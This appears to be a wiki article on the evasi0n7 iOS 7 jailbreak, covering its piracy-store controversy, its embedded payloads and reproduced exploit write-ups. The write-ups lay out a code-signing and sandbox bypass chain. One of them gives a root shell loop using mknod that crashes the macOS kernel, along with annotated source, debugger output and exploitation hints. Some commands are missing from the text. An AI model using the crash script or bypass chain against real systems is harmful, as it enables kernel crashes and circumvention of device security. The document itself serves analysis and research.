Evasi0n7



evasi0n7 is a jailbreak program from the evad3rs. It performs an untethered jailbreak for all devices on iOS 7.0 through 7.1 beta 2, except the Apple TV. It was initially released on 22 December 2013, and became subject to controversy and criticism. On 28 December 2013, the Cydia package went live to saurik's repo.

Controversy
The release of evasi0n7 was met with sharp criticism. It came without advance notice, much to the dismay of jailbreak developers, including saurik. It is believed that this was done in response to Geohot trying to sell the jailbreak, a claim which Geohot later brushed off. In addition, if the user's language was set to Chinese, a different app store would be installed by default. This store contained cracked versions of App Store apps and Cydia apps. The evad3rs were reportedly unaware of the included piracy when they formed the deal, and remotely disabled its installation several hours later.

Supported Devices
The only unsupported devices is the Apple TV family. All other devices capable of running iOS 7 are supported.

Mach-O (OS X binary)
evasi0n7 is a single architecture (i386) unsigned binary. The app is self-contained, meaning it packages all of its resources into the Mach-O. Using jtool to inspect the Mach-O header of the binary shows that there is some added sections in the  segment.

The Mach-O ABI describes the __DATA segment as: "The __DATA segment contains writable data. The static linker sets the virtual memory permissions of this segment to allow both reading and writing. Because it is writable, the __DATA segment of a framework or other shared library is logically copied for each process linking with the library. When memory pages such as those making up the __DATA segment are readable and writable, the kernel marks them copy-on-write; therefore when a process writes to one of these pages, that process receives its own private copy of the page." This means additional sections can be added using compiler flags, and these will be treated as raw data and added to the header and binary contents. Specifically they were called data_3 through data_12, and this is where the payloads used for jailbreak process are stored. At runtime, the evasi0n app was loading these data segments into memory to prepare to use them when jailbreaking.

Payload Extraction
The locations of the payloads have been identified, and they can be extracted and examined. To extract the payloads from the binary and dump the data into a file that can be examined:

Payload Format
Before examining the dumped payload files, some information can be gathered from other parts of the Mach-O binary. By dumping the symbol table from the binary, it is possible to see the names of functions used in the binary that are linked to in external libraries. Something that stands out in the evasi0n binary is the usage of the gzip library.

From that, it can be deduced that the payloads that were extracted are compressed using gzip. This can be verified by running the command  on the extracted payloads.

After decompressing the gzip file there is a new file, again test that with.

Seems that the payloads were stored as simply  files dumped directly into the Mach-O header of the binary.

Payload Contents
Now having an understanding of how the payloads were supposed to be used and packaged, their contents can be examined in detail to see what they are used for.


 * __data3 contains Cydia.
 * __data4 contains Cydia subsystems (/bin, /usr/bin) and their supported libraries (/usr/lib)
 * __data5 contains a Mach-O universal binary (ARMv7/ARMv7s,ARMv8) which is installed in the root file system
 * __data6 contains a dylib (likely game over.dyliib) which exports the same symbols as libmis.dylib (used by amfid for code signature verification), but overrides them to return true
 * __data7 contains another Mach-O binary (ARMv7/ARMv8), likely evasi0n7, which is installed in the root filesystem during the jailbreak
 * __data8 contains the plist (property list) file used by evasion to register as a launchDaemon
 * __data9 contains a dylib which overrides the sandbox dylib (similar to __data6, but to enable evasion to avoid the sandbox)
 * __data10 contained the TaiG app and subsystems (similar to Cydia) - removed in 1.01 due to negative backlash
 * __data11 contains a binary plist of strings used by the evasion binary
 * __data12 contains the Cydia repo list

Network Access
Noteably, when attempting to run the evasi0n.app without an active or accessible network connection, it will display a prompt that says it requires a network connection to be used. This is very true, as it needs to download the WWDC app as part of the exploit. However the app doesn't exhibit any of the typical commands for network access via Cocoa or CF APIs. Examining the symbol table we do see that there are references to "send", "recv", and other C-socket calls, however they appear to be used exclusively for the unix socket to communicate directly with the iOS device.

Examining the list of libraries linked to the binary gives some insight to how it was checking for a network connection.

This stands out due to the compatibility version listed being higher than the version OS X 10.6.8, which was oldest version of OS X that evasi0n.app claimed to support. Checking the symbol table again evidence of how  can be seen.

Digging into the code in the binary, it appears as these commands are used to do a check against the address. This appears to be a binary file that dictates the internal operation of the evasi0n7.app. Specifically it is known to be able to enable and disable ability to install the TaiG payloads.

Language Checks
The major controversy surrounding this release was that the evasi0n7.app would do a check against the locale and language settings of the computer being run on to see if it was set to Chinese. If this check was successful, it would install the TaiG app store by default instead of Cydia, and present Cydia as a secondary option. This was quickly discovered and patched to remove this functionally by both TaiG and @Dirk_Gently.

Write-up by Braden Thomas

 * WWDC.app is downloaded from app store and uploaded over AFC to ~/Media/Downloads


 * An IPA containing WWDC.app is uploaded and installed using MobileInstall, but first, the Info.plist in the WWDC app in the IPA is changed so that CFBundleExecutable points to the untouched copy of the app in Downloads


 * when MobileInstall installs the app, it signature checks the copy in Downloads, signature check passes and app is installed


 * WWDC.app/WWDC is overwritten using AFC with a #! script to point to afcd the command line in #! will expose the entire / over afc port 8888


 * a dylib (gameover) is uploaded which uses a CS bypass (vmsize 0) to neuter sandboxing in afcd using LINKEDIT section (afcd starts its sandbox at runtime using sandbox_init*)
 * a LaunchServices bug is used to make that app load that library when it runs the device reboots and the user is instructed to run the app


 * when the app runs, afcd runs exposing /, and the sandbox is neutered, allowing access everywhere however, iOS 7 kernel still prevents remapping / as writable so it's still just readonly


 * at this point, /var/mobile/Library/Logs/AppleSupport is symlinked to /dev/rdisk0s1 the device is rebooted, and something early in boot (i believe ReportCrash) will chown that path to mobile which chowns rdisk


 * they have an HFS library that has an AFC backend, so they're able to virtually mount the entire system partition via AFC by seeking around on the rdisk using AFC commands. so using that, they modify the system partition the changes to the system partition are adding an executable which is signed with a self-signed cert at /evasi0n7 and a launchd plist to run it at boot


 * they use the same CS bypass ued before to modify libmis.dylib which is loaded by amfid (which checks code signatures) to neuter the amfi checks and alwys return true (i.e. to MISValidateSignature)


 * so evasi0n will run fine, and at that point it does the kernel portion


 * they also have to do this trick involving another codeless library containing this xpcd_cache blob to bypass a change in iOS 7 (or was it 6) where launchctl will only load plists from signed libraries

See followups at @drspringfield.

Write-up by p0sixninja
The vulnerability is an out of bounds array in the _state.pis_ioctl_list array by specifying an overly large minor device node number. By placing data in a known location past the array it's possible to hijack the tty structure and special read and write data from ioctl calls, and control function pointers to control execution. The exploit is actually quite simple to trigger. I discovered this with a simple fuzzing script to test out every single device node. Here's a small sample script that should crash the latest maverick update. please run this as root. #!/bin/bash for i in `seq 1 255`; do   	echo "Node $i"; mknod /dev/crash c 16 $i; echo "Hello World" >/dev/crash; rm -rf /dev/crash; done;

The 16 major device node actually is mapped to the ptmx/ptsd pseudo terminal system. It seems that only 16 spaces are allocated for these terminals and if you make a device node with major 16 and minor larger that 16 you start getting out of bounds of the array. The maximum size of device nodes are about 0x600000 giving to the ability to offset your pointer into a crafted structure very large. The only hard part is finding which zones are ahead of your array you can index into. The exploit itself is in the bsd/kernel/tty_ptmx.c file in XNU kernel. The crash happens in… int ptsd_open(dev_t dev, int flag, __unused int devtype, __unused proc_t p);

The problem is they lack the check to see if the minor number is higher than the number of spots allocated. The problem comes down to this, I'll try to comment code as I go through it...

FREE_BSDSTATIC int ptsd_open(dev_t dev, int flag, __unused int devtype, __unused proc_t p)   { struct tty *tp; struct ptmx_ioctl *pti; int error; /*   	 * The dev_t structure holds the bits extracted and used to offset * in an array */   	// We'll check this function out first, check below if ((pti = ptmx_get_ioctl(minor(dev), 0)) == NULL) { return (ENXIO); }   	// Here's where the crash happens if (!(pti->pt_flags & PF_UNLOCKED)) { return (EAGAIN); }   	// This is the pointer we want to control tp = pti->pt_tty; tty_lock(tp); if ((tp->t_state & TS_ISOPEN) == 0) { termioschars(&tp->t_termios);	/* Set up default chars */ tp->t_iflag = TTYDEF_IFLAG; tp->t_oflag = TTYDEF_OFLAG; tp->t_lflag = TTYDEF_LFLAG; tp->t_cflag = TTYDEF_CFLAG; tp->t_ispeed = tp->t_ospeed = TTYDEF_SPEED; ttsetwater(tp);		/* would be done in xxparam */ } else if (tp->t_state&TS_XCLUDE && suser(kauth_cred_get, NULL)) { error = EBUSY; goto out; }   	if (tp->t_oproc)			/* Ctrlr still around. */   		(void)(*linesw[tp->t_line].l_modem)(tp, 1); while ((tp->t_state & TS_CARR_ON) == 0) { if (flag&FNONBLOCK) break; error = ttysleep(tp, TSA_CARR_ON(tp), TTIPRI | PCATCH,   				 "ptsd_opn", 0); if (error) goto out; }   	error = (*linesw[tp->t_line].l_open)(dev, tp); /* Successful open; mark as open by the slave */ pti->pt_flags |= PF_OPEN_S; CLR(tp->t_state, TS_IOCTL_NOT_OK); if (error == 0) ptmx_wakeup(tp, FREAD|FWRITE); out: tty_unlock(tp); return (error); }

/*    * Given a minor number, return the corresponding structure for that minor * number. If there isn't one, and the create flag is specified, we create * one if possible. *    * Parameters:	minor			Minor number of ptmx device *		open_flag		PF_OPEN_M	First open of master *					PF_OPEN_S	First open of slave *					0		Just want ioctl struct *    * Returns:	NULL			Did not exist/could not create *		!NULL			structure corresponding minor number *    * Locks:	tty_lock on ptmx_ioctl->pt_tty NOT held on entry or exit. */   static struct ptmx_ioctl * ptmx_get_ioctl(int minor, int open_flag) {   	struct ptmx_ioctl *new_ptmx_ioctl; // For normal open syscalls this flag is never set if (open_flag & PF_OPEN_M) { /*   		 * If we are about to allocate more memory, but we have * already hit the administrative limit, then fail the * operation. *   		 * Note:	Subtract free from total when making this *		check to allow unit increments, rather than *		snapping to the nearest PTMX_GROW_VECTOR... */   		if ((_state.pis_total - _state.pis_free) >= ptmx_max) { return (NULL); }   		MALLOC(new_ptmx_ioctl, struct ptmx_ioctl *, sizeof(struct ptmx_ioctl), M_TTYS, M_WAITOK|M_ZERO); if (new_ptmx_ioctl == NULL) { return (NULL); }   		if ((new_ptmx_ioctl->pt_tty = ttymalloc) == NULL) { FREE(new_ptmx_ioctl, M_TTYS); return (NULL); }   		/*    		 * Hold the DEVFS_LOCK over this whole operation; devfs * itself does this over malloc/free as well, so this should * be safe to do. We hold it longer than we want to, but * doing so avoids a reallocation race on the minor number. */   		DEVFS_LOCK; /* Need to allocate a larger vector? */   		if (_state.pis_free == 0) { struct ptmx_ioctl **new_pis_ioctl_list; struct ptmx_ioctl **old_pis_ioctl_list = NULL; /* Yes. */   			MALLOC(new_pis_ioctl_list, struct ptmx_ioctl **, sizeof(struct ptmx_ioctl *) * (_state.pis_total + PTMX_GROW_VECTOR), M_TTYS, M_WAITOK|M_ZERO); if (new_pis_ioctl_list == NULL) { ttyfree(new_ptmx_ioctl->pt_tty); DEVFS_UNLOCK; FREE(new_ptmx_ioctl, M_TTYS); return (NULL); }   			/* If this is not the first time, copy the old over */ bcopy(_state.pis_ioctl_list, new_pis_ioctl_list, sizeof(struct ptmx_ioctl *) * _state.pis_total); old_pis_ioctl_list = _state.pis_ioctl_list; _state.pis_ioctl_list = new_pis_ioctl_list; _state.pis_free += PTMX_GROW_VECTOR; _state.pis_total += PTMX_GROW_VECTOR; if (old_pis_ioctl_list) FREE(old_pis_ioctl_list, M_TTYS); }    		if (_state.pis_ioctl_list[minor] != NULL) { ttyfree(new_ptmx_ioctl->pt_tty); DEVFS_UNLOCK; FREE(new_ptmx_ioctl, M_TTYS); /* Special error value so we know to redrive the open, we've been raced */ return (struct ptmx_ioctl*)-1; }   		/* Vector is large enough; grab a new ptmx_ioctl */ /* Now grab a free slot... */   		_state.pis_ioctl_list[minor] = new_ptmx_ioctl; /* reduce free count */ _state.pis_free--; _state.pis_ioctl_list[minor]->pt_flags |= PF_OPEN_M; DEVFS_UNLOCK; /* Create the /dev/ttysXXX device { ,XXX} */ _state.pis_ioctl_list[minor]->pt_devhandle = devfs_make_node(   				makedev(ptsd_major, minor),    				DEVFS_CHAR, UID_ROOT, GID_TTY, 0620,    				PTSD_TEMPLATE, minor); if (_state.pis_ioctl_list[minor]->pt_devhandle == NULL) { printf("devfs_make_node call failed for ptmx_get_ioctl!!!!\n"); }   	} else if (open_flag & PF_OPEN_S) { DEVFS_LOCK; _state.pis_ioctl_list[minor]->pt_flags |= PF_OPEN_S; DEVFS_UNLOCK; }   	// No else statement to catch errors just return the index to the array faithfully. return (_state.pis_ioctl_list[minor]); }

First notice the (open_flag & PF_OPEN_M), if this is not true a lot of code will be skipped. on the ptmx devices, this isn't set so all this is complete skipped and we can skip to the end of the the code since there is no all catching else clause to handle most connections. It just automatically returns this array indexed with a user controllable value. Crash but true, let's look more into this structure we can control if we create a large minor number. static struct _ptmx_ioctl_state { struct ptmx_ioctl	**pis_ioctl_list;	/* pointer vector */ int			pis_total;		/* total slots */ int			pis_free;		/* free slots */ } _state;

This just contains a pointer vector of ptmx_ioctl structures, let's look at the structure which should be contained in the minor number offset. /*    * ptmx_ioctl is a pointer to a list of pointers to tty structures which is     * grown, as necessary, copied, and replaced, but never shrunk. The ioctl * structures themselves pointed to from this list come and go as needed. */   struct ptmx_ioctl { struct tty	*pt_tty;	/* pointer to ttymalloc'ed data */ int		pt_flags; struct selinfo	pt_selr; struct selinfo	pt_selw; u_char		pt_send; u_char		pt_ucntl; void		*pt_devhandle;	/* cloned slave device handle */ };

The first pointer in this structure is a pointer to a tty structure. This structure is easily readable and writable using using user land APIS. It also includes some function pointers in there which can be triggered to gain struct tty { lck_mtx_t	t_lock;		/* Per tty lock */ struct	clist t_rawq;		/* Device raw input queue. */   	long	t_rawcc;		/* Raw input queue statistics. */   	struct	clist t_canq;		/* Device canonical queue. */   	long	t_cancc;		/* Canonical queue statistics. */   	struct	clist t_outq;		/* Device output queue. */   	long	t_outcc;		/* Output queue statistics. */   	int	t_line;			/* Interface to device drivers. */   	dev_t	t_dev;			/* Device. */   	int	t_state;		/* Device and driver (TS*) state. */   	int	t_flags;		/* Tty flags. */   	int     t_timeout;              /* Timeout for ttywait */ struct	pgrp *t_pgrp;		/* Foreground process group. */   	struct	session *t_session;	/* Enclosing session. */   	struct	selinfo t_rsel;		/* Tty read/oob select. */   	struct	selinfo t_wsel;		/* Tty write select. */   	struct	termios t_termios;	/* Termios state. */   	struct	winsize t_winsize;	/* Window size. */   					/* Start output. */   	void	(*t_oproc)(struct tty *); /* Stop output. */   	void	(*t_stop)(struct tty *, int); /* Set hardware state. */   	int	(*t_param)(struct tty *, struct termios *); void	*t_sc;			/* XXX: net/if_sl.c:sl_softc. */   	int	t_column;		/* Tty output column. */   	int	t_rocount, t_rocol;	/* Tty. */   	int	t_hiwat;		/* High water mark. */   	int	t_lowat;		/* Low water mark. */   	int	t_gen;			/* Generation number. */   	void	*t_iokit;		/* IOKit management */ int	t_refcnt;		/* reference count */ };

You can imagine all the power you could do if you can control all these structures carefully. That will be the difficulty when trying to exploit. You need to find a kernel zone past this array and allocate your data into it in a way you always know the offset. shouldn't be too hard. Here's what the crash looks like once triggered. bash-3.2# for i in `seq 1 255`;do echo $i; mknod /dev/crash c 16 $i;echo "Hello" >/dev/crash;rm -rf /dev/crash;done

in gdb remote kernel debugger… gdb$ bt   #0  0xffffff8024f35fbc in ptsd_open (dev=0x10000010, flag=0x402, devtype=0x2000, p=0xffffff803655a3f8) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/kern/tty_ptmx.c:571 #1 0xffffff8024bdd93f in spec_open (ap=0xffffff8225cb3928) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/miscfs/specfs/spec_vnops.c:325 #2 0xffffff8024bc43c9 in VNOP_OPEN (vp=0xffffff803809c110, mode=0x402, ctx=0xffffff8035bcdd08) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/kpi_vfs.c:3015 #3 0xffffff8024bb4eab in vn_open_auth (ndp=0xffffff8225cb3b70, fmodep=0xffffff8225cb3adc, vap=0xffffff8225cb3d08) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_vnops.c:591 #4 0xffffff8024b9d8db in open1 (ctx=0xffffff8035bcdd08, ndp=0xffffff8225cb3b70, uflags=0x601, vap=0xffffff8225cb3d08, fp_zalloc=0xffffff8024ecf0b0 , cra=0x0, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3067 #5 0xffffff8024b9e684 in open_nocancel (p=0xffffff803655a3f8, uap=0xffffff8035c3a920, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3345 #6 0xffffff8024b9e4fc in open (p=0xffffff803655a3f8, uap=0xffffff8035c3a920, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3326 #7 0xffffff8024fa3828 in unix_syscall64 (state=0xffffff8035c3a910) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/dev/i386/systemcalls.c:370 gdb$ i r   rax            0xdeadbeefdeadbeef	0xdeadbeefdeadbeef rbx           0xffffff80367ea168	0xffffff80367ea168 rcx           0xffffff8033ec8788	0xffffff8033ec8788 rdx           0x10	0x10 rsi           0x0	0x0 rdi           0x10	0x10 rbp           0xffffff8225cb3870	0xffffff8225cb3870 rsp           0xffffff8225cb3840	0xffffff8225cb3840 r8            0x402	0x402 r9            0x1	0x1 r10           0xffffff80327c6220	0xffffff80327c6220 r11           0x0	0x0 r12           0xffffff8225cb3fc0	0xffffff8225cb3fc0 r13           0x7f9190c045b0	0x7f9190c045b0 r14           0xffffffff	0xffffffff r15           0xffffff8035c3a910	0xffffff8035c3a910 rip           0xffffff8024f35fbc	0xffffff8024f35fbc  eflags        0x10282	0x10282 cs            0x8	0x8 ss            0x0	0x0 ds            0x0	0x0 es            0x0	0x0 fs            0xdead0000	0xdead0000 gs            0xdead0000	0xdead0000

it was trying to read in the value of _state.pis_ioctl_list[10]. gdb$ print _state.pis_ioctl_list[10] $1 = (struct ptmx_ioctl *) 0xdeadbeefdeadbeef

gdb$ print pti $2 = (struct ptmx_ioctl *) 0xdeadbeefdeadbeef

It crashes here before dereferenceing the tty structure at the beginning of the ptmx_ioctl structure. We must know it's an address, but we also leak a bit near the address if it is an address. We should also be able to retrieve the value of all these state variables it sets from variable bits wherever the pointer is at to see if it's the correct pointer or not. 571 * 		if (!(pti->pt_flags & PF_UNLOCKED)) { 572			return (EAGAIN); 573		}   574	    575		tp = pti->pt_tty; 576		tty_lock(tp); 577	   578		if ((tp->t_state & TS_ISOPEN) == 0) { 579			termioschars(&tp->t_termios);	/* Set up default chars */ Examine the read, write, and select apis for these terminals to learn all you can do. ioctl calls might also be interesting. Also since it uses the tty zone for allocating this devices, it might be a very predictable zone if we can control all the pseudo terminals. Also checking out return values based on flags in structs can be a good way to feel around in memory. New in iOS 7.0 security protections, you are now no longer allowed to remount the root partition as readable/writeable. Before we just change the /etc/fstab file to remount the filesystems, but now there is a special kernel check preventing root filesystem from being remounted. Also the user filesystem containing all the data is mounted to disallow super user files, and device nodes. Luckily, if we can remount the user filesystem to reallow superuser and device node files we can create this device node and launch the kernel exploit on iOS7.